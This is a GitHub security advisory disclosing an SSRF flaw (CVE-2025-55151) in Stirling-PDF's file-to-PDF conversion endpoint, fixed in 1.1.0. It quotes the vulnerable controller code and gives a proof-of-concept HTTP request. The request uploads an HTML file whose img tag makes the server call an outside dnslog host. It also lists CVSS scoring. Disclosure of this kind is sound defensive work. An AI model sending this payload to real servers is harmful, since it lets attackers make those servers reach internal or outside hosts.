Skip to content

SSRF vulnerability on /api/v1/convert/file/pdf

High
Frooodle published GHSA-76hv-h7g2-xfv3 Aug 11, 2025

Package

maven stirling-pdf (Maven)

Affected versions

all versions

Patched versions

1.1.0

Description

Summary

The "convert file to pdf" functionality (/api/v1/convert/file/pdf)uses LibreOffice's unoconvert tool for conversion, and SSRF vulnerabilities exist during the conversion process.

Details

The "convert file to pdf" functionality (/api/v1/convert/file/pdf)uses LibreOffice's unoconvert tool for conversion, and SSRF vulnerabilities exist during the conversion process.

  • source:
    stirling/software/SPDF/controller/api/converters/ConvertOfficeController.java

  • sink:
    stirling/software/SPDF/controller/api/converters/ConvertOfficeController.java

@PostMapping(consumes = "multipart/form-data", value = "/file/pdf")
@Operation(
        summary = "Convert a file to a PDF using LibreOffice",
        description =
                "This endpoint converts a given file to a PDF using LibreOffice API  Input:ANY"
                        + " Output:PDF Type:SISO")
public ResponseEntity<byte[]> processFileToPDF(@ModelAttribute GeneralFile generalFile)
        throws Exception {
    MultipartFile inputFile = generalFile.getFileInput();
    // unused but can start server instance if startup time is to long
    // LibreOfficeListener.getInstance().start();
    File file = null;
    try {
        file = convertToPdf(inputFile);

        PDDocument doc = pdfDocumentFactory.load(file);
        return WebResponseUtils.pdfDocToWebResponse(
                doc,
                Filenames.toSimpleFileName(inputFile.getOriginalFilename())
                                .replaceFirst("[.][^.]+$", "")
                        + "_convertedToPDF.pdf");
    } finally {
        if (file != null) file.delete();
    }
}

 public File convertToPdf(MultipartFile inputFile) throws IOException, InterruptedException {
        // Check for valid file extension
        String originalFilename = Filenames.toSimpleFileName(inputFile.getOriginalFilename());
        if (originalFilename == null
                || !isValidFileExtension(FilenameUtils.getExtension(originalFilename))) {
            throw new IllegalArgumentException("Invalid file extension");
        }

        // Save the uploaded file to a temporary location
        Path tempInputFile =
                Files.createTempFile("input_", "." + FilenameUtils.getExtension(originalFilename));
        inputFile.transferTo(tempInputFile);

        // Prepare the output file path
        Path tempOutputFile = Files.createTempFile("output_", ".pdf");

        try {
            // Run the LibreOffice command
            List<String> command =
                    new ArrayList<>(
                            Arrays.asList(
                                    runtimePathConfig.getUnoConvertPath(),
                                    "--port",
                                    "2003",
                                    "--convert-to",
                                    "pdf",
                                    tempInputFile.toString(),
                                    tempOutputFile.toString()));
            ProcessExecutorResult returnCode =
                    ProcessExecutor.getInstance(ProcessExecutor.Processes.LIBRE_OFFICE)
                            .runCommandWithOutputHandling(command);

            // Read the converted PDF file
            return tempOutputFile.toFile();
        } finally {
            // Clean up the temporary files
            if (tempInputFile != null) Files.deleteIfExists(tempInputFile);
        }
    }

PoC

POST /api/v1/convert/file/pdf HTTP/1.1
Host: 172.25.24.140:8080
Content-Length: 230
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXk10yDA52D8VSaGO
Accept: */*
Origin: http://172.25.24.140:8080
Referer: http://172.25.24.140:8080/file-to-pdf?lang=zh_CN
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=node0dylx4lgdtzxwixmnid86661r1.node0
Connection: close

------WebKitFormBoundaryXk10yDA52D8VSaGO
Content-Disposition: form-data; name="fileInput"; filename="1.html"
Content-Type: text/html


<img src='http://89a9e05b.log.dnslog.sbs'>

------WebKitFormBoundaryXk10yDA52D8VSaGO--

Impact

Here are two articles that introduce the principles and risks of SSRF for your reference.|

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
Low
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L

CVE ID

CVE-2025-55151

Weaknesses

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.

Credits